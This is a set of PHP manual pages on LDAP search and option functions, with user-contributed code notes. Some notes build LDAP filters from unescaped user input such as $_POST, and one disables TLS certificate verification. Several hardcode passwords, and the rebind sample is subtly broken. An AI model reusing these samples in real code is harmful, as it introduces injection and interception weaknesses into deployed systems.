Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

controls

Array of LDAP Controls to send with the request.

返回值

返回 LDAP\Result 实例、 LDAP\Result 实例数组 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

示例

The example below retrieves the organizational unit, surname, given name and email address for all people in "My Company" where the surname or given name contains the substring $person. This example uses a boolean filter to tell the server to look for information in more than one attribute.

Example #1 LDAP search

<?php
// $ds is a valid LDAP\Connection instance for a directory server

// $person is all or part of a person's name, eg "Jo"

$dn = "o=My Company, c=US";
$filter="(|(sn=$person*)(givenname=$person*))";
$justthese = array("ou", "sn", "givenname", "mail");

$sr=ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." entries returned\n";
?>

User Contributed Notes

peter dot mlich at volny dot cz 05-Jun-2020 06:57
Example code from my ldap class.

public function query($_filter, $_att, $_ref=2, $count_bool=true)
    {
    $fn     = 'query';
    $config = $this->config;
    $conn   = $this->conn;
    if (!$conn)
        {return $this->errorConnection($fn);}
    ldap_set_option($conn, LDAP_OPT_DEREF, $_ref);
    $result = ldap_search($conn, $config['baseDn'], $_filter, $_att);    //  or die(ldap_error($conn))
    if ($result===false)
        {
        $this->error("Search error, neexistuje!");
        return false;
        }
    $count = ldap_count_entries($conn, $result);
    if ($count_bool && $count!=1)
        {
        $this->error("Search error, neni unikatni! count=".$count);
        ldap_free_result($result);
        return false;
        }
    $data = ldap_get_entries($conn, $result);
    ldap_free_result($result);
    return $data;
    }

// ---

    $filter = "(&(objectclass=person)(cn=" . $user_name . "))";
    $att    = array(
        'uid',
        'workforceID',
        'employeeID',
        'givenName',
        'sn',
        'mail'
        );
    $data   = $this->query($filter, $att, 2, true);
steven_bauman at outlook dot com 27-Jan-2020 03:39
Can an example using the new $serverctrls parameter please be added? I have no idea how to use this.
anze dot pratnemer at fe dot uni-lj dot si 28-Jan-2019 08:59
While developing a plugin, I had to search users on LDAP server using ldap_search() command and it was not finding them, but ldapsearch command in unix shell (ubuntu) did.

Problem was few lines above in my code, around ldap_connect(). For server address I input ldap://server.hostname, which turned to be the culprit.

Once I used only server.hostname, without protocol (ldap://), users where found and shown correctly.
mike at remi-designs dot net 13-Jun-2016 10:27
I ran into the problem, that the attribute I was search for had the matching rule of "exactMatch".

Example:
E-Mail Address is stored in mixed case: John.Doe@example.com

LDAP Search will not retrieve any values when the user enters: john.doe@example.com

Solution: instead of comparing user input and attribute value by

<?php
if($data[$i]['mail'][0] == $username) {
    // this will run into nothing
}
?>

use strcasecmp instead:

<?php
if(strcasecmp($data[$i]['mail'][0], $username) == 0) {
    // works
}
jayleno at yahoo dot com 15-May-2013 06:28
<?php
set_time_limit(30);
error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
ini_set('display_errors',1);

// config
$ldapserver = 'svr.domain.com';
$ldapuser      = 'administrator';
$ldappass     = 'PASSWORD_HERE';
$ldaptree    = "OU=SBSUsers,OU=Users,OU=MyBusiness,DC=myDomain,DC=local";

// connect
$ldapconn = ldap_connect($ldapserver) or die("Could not connect to LDAP server.");

if($ldapconn) {
    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass) or die ("Error trying to bind: ".ldap_error($ldapconn));
    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...<br /><br />";

        $result = ldap_search($ldapconn,$ldaptree, "(cn=*)") or die ("Error in search query: ".ldap_error($ldapconn));
        $data = ldap_get_entries($ldapconn, $result);

        // SHOW ALL DATA
        echo '<h1>Dump all data</h1><pre>';
        print_r($data);
        echo '</pre>';

        // iterate over array and print data for each entry
        echo '<h1>Show me the users</h1>';
        for ($i=0; $i<$data["count"]; $i++) {
            //echo "dn is: ". $data[$i]["dn"] ."<br />";
            echo "User: ". $data[$i]["cn"][0] ."<br />";
            if(isset($data[$i]["mail"][0])) {
                echo "Email: ". $data[$i]["mail"][0] ."<br /><br />";
            } else {
                echo "Email: None<br /><br />";
            }
        }
        // print number of entries found
        echo "Number of entries found: " . ldap_count_entries($ldapconn, $result);
    } else {
        echo "LDAP bind failed...";
    }

}

// all done? clean up
ldap_close($ldapconn);
?>
Jean-Loup 01-Feb-2012 06:27
Example of parallel search :

<?php
$basedn=array('dmdName=users,dc=foo,dc=fr','dmdName=users,dc=bar,dc=com');  // two basedn
$filter='(&(objectClass=inetOrgPerson)(uid=*))';  // single filter
$attributes=array('dn','uid','sn');

$cnx = ldap_connect('localhost',389); // single connection
ldap_set_option($cnx, LDAP_OPT_PROTOCOL_VERSION, 3);

ldap_bind($cnx,'uid=root,dc=foo,dc=fr','password');  // authentication on two BDB
ldap_bind($cnx,'uid=root,dc=bar,dc=com','password');

$search = ldap_search(array($cnx,$cnx),$basedn,$filter,$attributes);  // search

// result
for($i=0;$i<count($search);$i++){
    print_r(ldap_get_entries($cnx,$search[$i]));
    print "\n";
}
?>
info at acpower dot biz 19-Sep-2011 03:07
I'm a newbie, so I hope this helps some other newbie with a head scratcher...

This code returned an error of 'No Such Object':

<?php

    $search = ldap_search ($ldapcon, "cn=admin,dc=acpower,dc=biz", "(filters)");

?>

I took out the cn, and magic! it works:

<?php

    $search = ldap_search ($ldapcon, "dc=acpower,dc=biz", "(filters)");

?>
nick 01-Sep-2011 11:09
Results from ActiveDirectory may be ordered by objectSid.
We can get all users for each page size by modify filter.

<?php
// ... connect to ldap
$lastsid='';
while (1) {
    $filter = '(objectClass=user)';
    if (strlen($lastsid)) {
        list($v)=array_values(unpack('V',substr($lastsid,24))); // id for user.
        $s = substr($lastsid,0,24).pack('V',1+$v); // next sid.
        $s = preg_replace('/../','\\\\$0',bin2hex($s)); // escape for fiter
        $filter = '(&'.$filter.'(objectSid>='.$s.'))'; // fiter for next entries.
    }
    $res = ldap_search($ldap,$basedn,$filter,array('objectSid','cn'));
    if (!ldap_count_entries($ldap,$res)) {
        break;
    }
    for ($ent=ldap_first_entry($ldap,$res); $ent; $ent=ldap_next_entry($ldap,$ent)) {
        list($lastsid) = ldap_get_values_len($ldap,$ent,'objectSid');
    }
}
?>
Arnold 11-May-2011 01:35
I have been working on a script where I needed to get all the users who were member of a specific MS AD group. Because of PHP bug #42060 ( http://bugs.php.net/bug.php?id=42060 ) I could not get all the users back who were member of the group.
After googling for a day I found an article and a patch but it required that I downloaded the source code for php 5.1.6 or 5.2.10 run the patch and than recompile the code to fix the problem.
Problem was
1) I am not a Linux goeroe so I was not very comfortable doing this....
2) I am running the script on a production machine with other code using PHP and did not know what the consequence would bee for that code.
3) I could not update PHP anymore because in newer versions this patch would probably not work any more.

But yesterday I saw the light and wrote some code to get around this problem, maybe other people can use it that have the same problem.

<?PHP
$startFilter        = "(&(memberOf=" .$ADGroup. "))";
$startResults        = ldap_search($ldapconnect, $userBase, $startFilter, $attr);
$countResult        = ldap_count_entries($ldapconnect,$startResults);

IF($countResult == 1000 OR $countResult == 1500)
{
    // loop trough the number 97-122 (ASCII number for the characters a-z)
    For($a=97;$a<=122;$a++)
    {
        // translate the number to a character
        $character            = chr($a);
        // the new search filter withs returns all users with a last name starting with $character
        $filter            = "(&(sn=$character*)(memberOf=$ADGroup))";
        $results        = ldap_search($ldapconnect, $userBase, $filter, $attr);
        $countResult2    = ldap_count_entries($ldapconnect,$results);

        // See if the search for all users starting with a specific character still hits the search limit
        // if so than do a new search to find all the users where the last name starts with "aa" and
        // than with "ab", "ac" etc. etc
        // In the best case we can now find 675.324 users per group when the search limit is 1000
        // ((26 * 999  for the fist character) * 26 for the second character)
        // and 1.013.324 when the search limit is 1500
        If($countResult2 == 1000 or $countResult2 == 1500)
        {
            For($b=97;$b<=122;$b++)
            {
                $character2    = chr($b);
                $filter2    = "(&(sn=$character$character2*)(memberOf=$ADGroup))";
                $results2    = ldap_search($ldapconnect, $userBase, $filter2, $attr);
                $count2        = ldap_count_entries($ldapconnect,$results2);
                $entries2    = ldap_get_entries($ldapconnect,$results2);

                // do your thing
            }
        }
        Else
        {
            $entries            = ldap_get_entries($ldapconnect,$results);
            // do your thing
        }
    }
}
else
{
    $entries            = ldap_get_entries($ldapconnect,$startResults);
    // do your thing
}
?>
ben _at_ onshop.co.uk 19-Jan-2010 02:11
Following from my note of 11-Nov-2009 06:56 regarding DN issues when using LDAP instead of the Global Catalog when querying AD, further investigation was showing that although the results were in the packet, I was getting an error instead:

'Search: Can't contact LDAP server' AKA Error 81.

Using more detailed analysis:

ldap_get_option($ds,LDAP_OPT_ERROR_STRING,$error);

echo $error

Displayed:

Referral: ldap://DomainDnsZones.defg.de.bc.ac.uk/ DC=DomainDnsZonesDC=defg,DC=de,DC=abc,DC=ac,DC=uk

By using trial and error, the error went away and results returned when using:

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ben _at_ onshop_co_uk 11-Nov-2009 10:24
Example to illustrate searching more than one DN (multiple DNs):

<?php
$ds=ldap_connect($ldapserver);

$dn[]='OU=ABC,DC=xyz,DC=ac,DC=uk';
$dn[]='OU=DEF,DC=xyz,DC=ac,DC=uk';

$id[] = $ds;
$id[] = $ds;

$filter = 'samaccountname='.$_POST['username'];

$result = ldap_search($id,$dn,$filter);

$search = false;

foreach ($result as $value) {
    if(ldap_count_entries($ds,$value)>0){
        $search = $value;
        break;
    }
}

if($search){
    $info = ldap_get_entries($ds, $search);
}else{
    $info = 'No results found';
}
?>
chrisbloom7 at gmail dot com 08-Aug-2007 01:18
Here are a couple of resources for proper construction of filters.

http://msdn2.microsoft.com/En-US/library/aa746475.aspx

http://technet.microsoft.com/en-us/library/aa996205.aspx

Before finding these I had been stumped for hours on how to do something like "all users starting with "a" except those from OU 'foo'"
Allie 06-Mar-2007 02:38
I just posted on the ldap_bind, but I figured it couldn't hurt here since this was the first place I stopped when trying to figure out my problem.  My error pointed to ldap_search, but specifying the ldap_connect port was the fix.

When you want to search the entire directory for MS AD, you must specify port 3268 in your bind.  This is also true for apache auth_ldap.

 $ldapserver = ldap_connect($server,3268);
27-Jan-2006 03:53
HOWTO list LDAP users.

This CODE list one user from LDAP tree, but I' like list all user from LDAP one ou=Organization

<?php

$ldaprdn = 'cn=user,dc=domain,dc=org';
$ldappass = 'password';
$sdn = 'cn=user,ou=group,dc=domain,dc=org';

$ldapconn = ldap_connect("ldap://localhost", 389)
or die("Not connect: $ldaphost ");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
$filter="uid=*";
$justthese = array("uid");

$sr=ldap_read($ldapconn, $srdn, $filter, $justthese);
$entry = ldap_get_entries($ldapconn, $sr);

} else {
echo "LDAP conn ok...";
}

}

ldap_close($ldapconn);

?>
<?php
echo $entry[0]["mail"][0] . " mail adress ";
echo $entry[0]["sn"][0] . " Name ";
?>
cruzfern at chuchuwa dot com dot ar 30-Aug-2005 09:14
The internal attributes (like createTimestamp, modifyTimestamp, etc), don't come by default (when the optional parameter attributes is not set). You have to specify it:

<?
$r=ldap_search($ds,$base,$filter,array("createTimestamp"));
?>
fmouse at fmp dot com 01-Mar-2005 10:53
It appears that the Netscape Directory SDK (developer.netscape.com) referenced for LDAP filter information is no longer accepting connections.   The A copy of RFC 2254 which defines the standard for string representations of LDAP filters can be found  at http://www.ietf.org/rfc/rfc2254.txt
openldap at mail dot doris dot cc 11-Feb-2005 07:54
PHP 4.3.10

I was trying to do an ldapsearch without a basedn.  First, I tried with ' ', as suggested above, but it gave me invalid dn syntax error.

ie:
$sr=ldap_search($ds, ' ', $filter);
Warning: ldap_search(): Search: Invalid DN syntax in ...

Then I changed it to
$sr=ldap_search($ds, "", $filter);

Which gave me the following error:
Warning: ldap_search(): Search: No such object in ...

With that I then modified my ldap.conf file and commented out the BASE field
#BASE   dc=example, dc=com

Then it worked!

So it looks like if you supply a blank basedn, then it will use your default basedn in ldap.conf.
rsu_friend at yahoo dot com 11-Feb-2005 01:03
I was doing a ldap_search with
$searchbasedn = "miDomainName=" . $_SESSION['selectDomain'] ."," . LDAP_DOMAINBASE;
$filter = "(&(mpsAccountNumber=". $acctNumber .")(objectclass=mpsAccountDetails))";
$attributes = array("mpsparentchild");

 $sr = ldap_search($ldapconn, $searchbasedn, $filter,$attributes);

For some reasone this search was failing
but I was able to do successful search only when I gave the search filter as
$filter = "(&(mpsAccountNumber= $acctNumber )(objectclass=mpsAccountDetails))";

I did not get why the ldap_search was not able to search in the first case.
sema at technion dot ac dot il 04-Sep-2004 10:54
In order to perform the searches on Windows 2003 Server Active Directory you have to set the LDAP_OPT_REFERRALS option to 0:

ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

Without this, you will get "Operations error" if you try to search the whole AD schema (using root of the domain as a $base_dn).

As opposed to Windows 2000 Server, where this option was optional and only increased the performance.
chester at the dot underground dot com dot au 20-Nov-2003 01:45
If you are searching active directory and are experiencing lag or time outs, it may be that you are being given ldap referrals from the ldap server. The following code will disable this.

<?
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
?>
sembiance at cosmicrealms dot com 16-Nov-2003 06:15
When searching for BINARY data (such as an Active Directory objectGUID) you need to escape each hexadecimal character with a backslash.

The following command line run of ldapsearch shows:
ldapsearch -b "dc=blahblah,dc=com" "(objectGUID=\AE\C3\23\35\F7)"

In PHP, you need to escape the escape for the backslash:
ldap_search($ds,"dc=blahblah,dc=com", "(objectGUID=\\AE\\C3\\23\\35\\F7)");
francis dot tyers at hp dot com 10-Nov-2003 07:53
it seems that all fields must be used in lower case even if they are mixed case in the ldapsearch output.

example:

gidNumber: 1010
homeDirectory: /home/dnt

must be:

echo "gid: " . $info[$i]["gidnumber"][0] . "<br>";
echo "home directory: ". $info[$i]["homedirectory"][0] ."<br>";

not ( $info[$i]["homeDirectory"][0] ) etc.
nicolas at atanis dot net 19-Aug-2003 11:17
Here is a little script that make a complete subtree search ( i know a script above seems do that but it doesnt work fine)
This is my version:

Voila ce que j'ai fait aujourd'hui ...

      $ldap_host = "192.168.0.50";
    $ldap_port = "389";
    $base_dn = "dc=fr";
    $filter = "(cn=*)";
    $ldap_user ="cn=admin,dc=fr";
    $ldap_pass = "hellodelu";
    $connect = ldap_connect( $ldap_host, $ldap_port);
    ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

    $bind = ldap_bind($connect, $ldap_user, $ldap_pass);
    $read = ldap_search($connect, $base_dn, $filter);

    $info = ldap_get_entries($connect, $read);
    echo $info["count"]." entrees retournees<BR><BR>";
    for($ligne = 0; $ligne<$info["count"]; $ligne++)
    {
        for($colonne = 0; $colonne<$info[$ligne]["count"]; $colonne++)
        {
            $data = $info[$ligne][$colonne];
            echo $data.":".$info[$ligne][$data][0]."<BR>";
        }
        echo "<BR>";
    }
ldap_close($connect);

--------
nicolas
me at gavinadams dot org 15-Aug-2003 01:38
Minor clarification on AD LDAP searchs. Small typo in previous example, and does not display multiple values per attribute. Here's the for loop to enumerate all entries, attributes, and values:

$bind = ldap_bind($connect) // asume anon connect or add user/pass
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<br>";
// $i = entries
// $ii = attributes for entry
// $iii = values per attribute
for ($i = 0; $i<$info["count"]; $i++) {
  for ($ii=0; $ii<$info[$i]["count"]; $ii++){
     $data = $info[$i][$ii];
     for ($iii=0; $iii<$info[$i][$data]["count"]; $iii++) {
       echo $data.":&nbsp;&nbsp;".$info[$i][$data][$iii]."<br>";
     }
  }
echo "<p>"; // separate entries
php @ fccfurn dot com 11-Apr-2003 03:35
To do subtree search from top DN in Active Directory, Make sure you do your ldap_set_option().

<?php
$ldap_host = "pdc.php.net";
$base_dn = "DC=php,DC=net";
$filter = "(cn=Joe User)";
$ldap_user  = "CN=Joe User,OU=Sales,DC=php,DC=net";
$ldap_pass = "pass";
$connect = ldap_connect( $ldap_host, $ldap_port)
         or exit(">>Could not connect to LDAP server<<");
ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
$bind = ldap_bind($connect, $ldap_user, $ldap_pass)
      or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
      or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<p>";
$ii=0;
for ($i=0; $ii<$info[$i]["count"]; $ii++){
    $data = $info[$i][$ii];
    echo $data.":&nbsp;&nbsp;".$info[$i][$data][0]."<br>";
}
ldap_close($connect);
?>
Kamil Kukura <kamk at nexen dot cz> 26-Feb-2003 09:20
When I tried to search with empty base DN on OpenLDAP server which had "" namingContext I got result "no such object". In the log file there was query for dn: dc=example,dc=com (!).
As a workaround, it seems it's enough to feed it with space (' ') as base DN - ldap_search($ds, ' ', '(...filter...)', ...
neumeyed at city dot bloomington dot in dot us 29-Jan-2003 04:50
A previous comment noted: "I've also noticed that the departmentNumber, employeeNumber (and maybe others in inetorgperson.schema) are not returned from a search."

This is incorrect. These attributes are returned, but you must reference them with lowercase names. That is, instead of doing this:

$entries[0]["departmentNumber"][0]

Do this:

$entries[0]["departmentnumber"][0]

This doesn't seem like "correct" behavior to me, but I don't know enough about LDAP to say for sure.
nick dot veitch at futurenet dot co dot 17-Jan-2003 08:59
It might be useful to list here the operators that work:

=         - matches exact value
=*xxx  - matches values ending xxx
=xxx*  - matches values beginning xxx
=*xxx* - matches values containing xxx
=*       - matches all values (if set - NULLS are not returned)

>=xxx  - matches everthing from xxx to end of directory
<=xxx  - matches everything up to xxx in directory

~=xxx      - matches similar entries (not all systems)

Boolean operators for constructing complex search

&(term1)(term2)  - matches term1 AND term2
| (term1)(term2)  - matches term1 OR term2
!(term1)                 - matches NOT term1
&(|(term1)(term2))(!(&(term1)(term2)) - matches XOR term1 term2

some of the more compelx constructions seem to work with varying  degrees of efficiency - sometimes it can be better to filter some of the results with the search and do further filtering in PHP.
emrecio at netscape dot net 30-Sep-2002 08:42
implode(", ",$uentry[0]["rfc822mailalias"]);

doesn't work as expected because "count" is in there... one /must/ use the 'for' loop to cycle through results (discarding "count" element).
jpdalbec at ysu dot edu 09-Sep-2002 07:33
I've found that spaces need to be escaped in search filters ("\20"), at least using the Red Hat PHP 4.1.2 package.  Otherwise no results are returned.
john_taylor_1973 at yahoo dot com 27-Jun-2002 02:26
Try to use ldap_list(), if possible.  It is much faster.  ldap_search searches a scope of LDAP_SCOPE_SUBTREE, but ldap_list searches a scope of just LDAP_SCOPE_ONELEVEL.  This made a big difference on Novell eDirectory 8.6.1, even for a query that only returned 130 objects.  Using an attribute list, the 4th function parameter (of either function), also made queries faster.
31-Aug-2001 07:13
I used the following to retrieve all entries from an ILS (Netmeeting) Server:<p>    $sr=ldap_search($ds, "objectclass=rtperson","(&(cn=%)(objectclass=rtperson))");
<p>Have fun!
<p>Kees
cdaveb at csua dot berkeley dot edu 02-Jan-2001 05:23
FYI, for those doing LDAP searches on Exchange servers, there seems to be some preference in Exchange to disallow searches that aren't initial searches (i.e. only x* will work, not * or *x). I'd been going nuts trying to figure out why I kept getting errors doing * searches.

More info at:
http://www.microsoft.com/Exchange/en/55/help/documents/server/XOG16007.HTM
aa529 at nospamchebucto dot ns dot ca 22-Nov-1999 01:27
Be careful of special characters when generating filters from user input.

*, (, ), \ and NUL should be backslash-escaped. See section 4 of RFC 2254 (I found it here:
http://www.cis.ohio-state.edu/htbin/rfc/rfc2254.html)


Set the value of the given option

  • ? ldap_search
  • ldap_set_rebind_proc ?
  • PHP Manual
  • LDAP 函数
  • Set the value of the given option

ldap_set_option

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ldap_set_option — Set the value of the given option

说明

ldap_set_option(?LDAP\Connection $ldap, int $option, array|string|int|bool $value): bool

Sets the value of the specified option to be value.

参数

ldap

Either an LDAP\Connection instance, returned by ldap_connect(), to set the option for that connection, or null to set the option globally.

option

The parameter option can be one of:

Option | Type | Available since
LDAP_OPT_DEREF | int
LDAP_OPT_SIZELIMIT | int
LDAP_OPT_TIMELIMIT | int
LDAP_OPT_NETWORK_TIMEOUT | int
LDAP_OPT_PROTOCOL_VERSION | int
LDAP_OPT_ERROR_NUMBER | int
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_DIAGNOSTIC_MESSAGE | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array
LDAP_OPT_X_KEEPALIVE_IDLE | int | PHP 7.1.0
LDAP_OPT_X_KEEPALIVE_PROBES | int | PHP 7.1.0
LDAP_OPT_X_KEEPALIVE_INTERVAL | int | PHP 7.1.0
LDAP_OPT_X_TLS_CACERTDIR | string | PHP 7.1.0
LDAP_OPT_X_TLS_CACERTFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CERTFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CIPHER_SUITE | string | PHP 7.1.0
LDAP_OPT_X_TLS_CRLCHECK | int | PHP 7.1.0
LDAP_OPT_X_TLS_CRLFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_DHFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_KEYFILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_PROTOCOL_MIN | int | PHP 7.1.0
LDAP_OPT_X_TLS_RANDOM_FILE | string | PHP 7.1.0
LDAP_OPT_X_TLS_REQUIRE_CERT | int | PHP 7.0.5

LDAP_OPT_SERVER_CONTROLS and LDAP_OPT_CLIENT_CONTROLS require a list of controls, this means that the value must be an array of controls. A control consists of an oid identifying the control, an optional value, and an optional flag for criticality. In PHP a control is given by an array containing an element with the key oid and string value, and two optional elements. The optional elements are key value with string value and key iscritical with boolean value. iscritical defaults to false if not supplied. See » draft-ietf-ldapext-ldap-c-api-xx.txt for details. See also the second example below.

value

The new value for the specified option.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

示例

Example #1 Set protocol version

<?php
// $ds is a valid LDAP\Connection instance for a directory server
if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
echo "Using LDAPv3";
} else {
echo "Failed to set protocol version to 3";
}
?>

Example #2 Set server controls

<?php
// $ds is a valid LDAP\Connection instance for a directory server
// control with no value
$ctrl1 = array("oid" => "1.2.752.58.10.1", "iscritical" => true);
// iscritical defaults to FALSE
$ctrl2 = array("oid" => "1.2.752.58.1.10", "value" => "magic");
// try to set both controls
if (!ldap_set_option($ds, LDAP_OPT_SERVER_CONTROLS, array($ctrl1, $ctrl2))) {
echo "Failed to set server controls";
}
?>

注释

Note:

This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

参见

  • ldap_get_option() - Get the current value for given option

User Contributed Notes

php at richardneill dot org 27-Jul-2022 05:41
If you want to disable the TLS cert check (e.g. because you are doing an SSH port-forward, and ldaps is pointing to localhost), then you must invoke:

ldap_set_option(NULL, LDAP_OPT_X_TLS_REQUIRE_CERT,0)
*before* calling ldap_connect()

If you try:

$ds = ldap_connect(...)
ldap_set_option($ds, LDAP_OPT_X_TLS_REQUIRE_CERT,0)

then the option won't actually take effect, and the certificate will be checked anyway, and a TLS failure will happen..
Maarten at Aerobe 11-Jan-2020 09:31
PHP 7.1 added support for configuring the LDAP CA/Cert environment directly, rather than relying on the environment variables. I noticed that a lot of people are having trouble getting this to work.

The correct way is:
$ds=ldap_connect("ldap.google.com");
ldap_set_option(NULL, LDAP_OPT_X_TLS_CERTFILE, "/path/file.crt");
ldap_set_option(NULL, LDAP_OPT_X_TLS_KEYFILE, "/path/file.key");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_start_tls($ds);
...
ldap_close($ds);
badbo_5834 at hotmail dot com 10-Dec-2013 08:02
I have the following code, but you do not rename the cn, that may be?

    $TheDN = "cn=Nombre,ou=Addressbook,dc=axia-ldap,dc=net";
    $newRDN = "cn=bill";
    $newParent = "ou=Addressbook,dc=axia-ldap,dc=net";
    ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
    $result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);
Anonymous 19-Nov-2010 01:56
LDAP options description

http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Fapis%2Fldap_set_option.htm
technosophos 07-Mar-2007 02:00
The following flags are valid integer values for the LDAP_OPT_DEREF (as taken from the documentation for ldap_read()):

LDAP_DEREF_NEVER (int 0) - (default) aliases are never dereferenced.

LDAP_DEREF_SEARCHING (int 1) - aliases should be dereferenced during the search but not when locating the base object of the search.

LDAP_DEREF_FINDING (int 2) - aliases should be dereferenced when locating the base object but not during the search.

LDAP_DEREF_ALWAYS (int 3) - aliases should be dereferenced always.

Example:
<?php
ldap_set_option($ds, LDAP_OPT_DEREF, LDAP_DEREF_ALWAYS);
?>

These are defined in the draft C API (presumably from the original LDAP API). See draft-ietf-ldapext-ldap-c-api-xx.txt included in the OpenLDAP source code distribution.
hansfn at gmail dot com 23-May-2006 04:23
Luckily you can turn on debugging before you open a connection:

  ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

This way you at least can see in the logs if the connection fails...
minusf at gmail dot com 31-Oct-2005 01:59
it seems that ldap_set_option returns 1 for bogus ldap_connect -ions also.
ldap_connect always returns a resource (documented in the
comments of ldap_connect) so it is not possible to check if the
ldap server is there or alive or what.  and because ldap_set_option
must be between ldap_connect and ldap_bind, there seems to
be no sense in checking the return value.

it is a bit strange that ldap_bind is the first function which can
really check if a ldap resource is usable because it is the third
function in line to use when working with openldap.

<?php
$connect = ldap_connect("whatever");
$set = ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
echo $set;
?>
soulbros at yahoo dot com 26-Feb-2002 03:56
As john.hallam@compaq.com above mentioned ,one  has to set option LDAP_OPT_PROTOCOL_VERSION=3
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
to use the ldap_rename function.

However, the ldap_set_option() line has to be written immediately after ldap_connect() and before ldap_bind() statements.

Christos Soulios
john dot hallam at compaq dot com 28-Jan-2002 10:00
To get this to work I had to set the LDAP version to 3 using ldap_set_option. Here is an example that might help:

$TheDN = "cn=john smith,ou=users,dc=acme,dc=com";
$newRDN = "cn=bill brown";
$newParent = "ou=users,dc=acme,dc=com";
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
@$result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);


Set a callback function to do re-binds on referral chasing

  • ? ldap_set_option
  • ldap_sort ?
  • PHP Manual
  • LDAP 函数
  • Set a callback function to do re-binds on referral chasing

ldap_set_rebind_proc

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing

说明

ldap_set_rebind_proc(LDAP\Connection $ldap, ?callable $callback): bool
Warning

本函数还未编写文档，仅有参数列表。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | callback is nullable now.

User Contributed Notes

mvanbeek at forgetaboutit dot net 18-Feb-2013 12:15
The $referral that is used in the callback function isn't the bind dn, but the dn of the record that was being accessed (or rather it's location on the master server, I guess, if there is a difference in the two), so you need to rebind with your existing credentials. The connection ($ldap) appears to have already been made to the new server, so it is just a rebind process, nothing else more complicated than that. There must be a loop in the underlying library that re-submits the request that prompted the referral until either a success or fail is returned.

I guess if the bind dn you were using in the first place won't let you edit the record on the master, then that is an ldap rather than php issue. However, at least with the rebind procedure you have a way to modify the bind dn first.

So, the rebind process is really quite simple, now that I understand how it works! I was assuming it to be way more complicated. In it's simplest form, this is all you need, assuming your bind $dn and $pass are globals

<?php
function rebind($ldap, $referral) {
    // Set ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // Rebind
    if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1; // Yes, a 1 means a failure.
        }
    return 0; // Yes, return a 0 on success.
    }
?>
leon at leonux dot co dot za 25-Jun-2011 03:26
I finally have referrals working using the ldap_set_rebind_proc function. Don't connect to the referral server in your callback function. This is done for you. You only have to bind. The callback must return 0 if the bind succeeds or 1 if it fails.

Consider a master - slave LDAP setup where the slave is read-only and refers writes to the master. For the PHP on the slave, you need something like this:

<?php

// Callback function
function rebind($ldap, $referral) {
    // ldap options
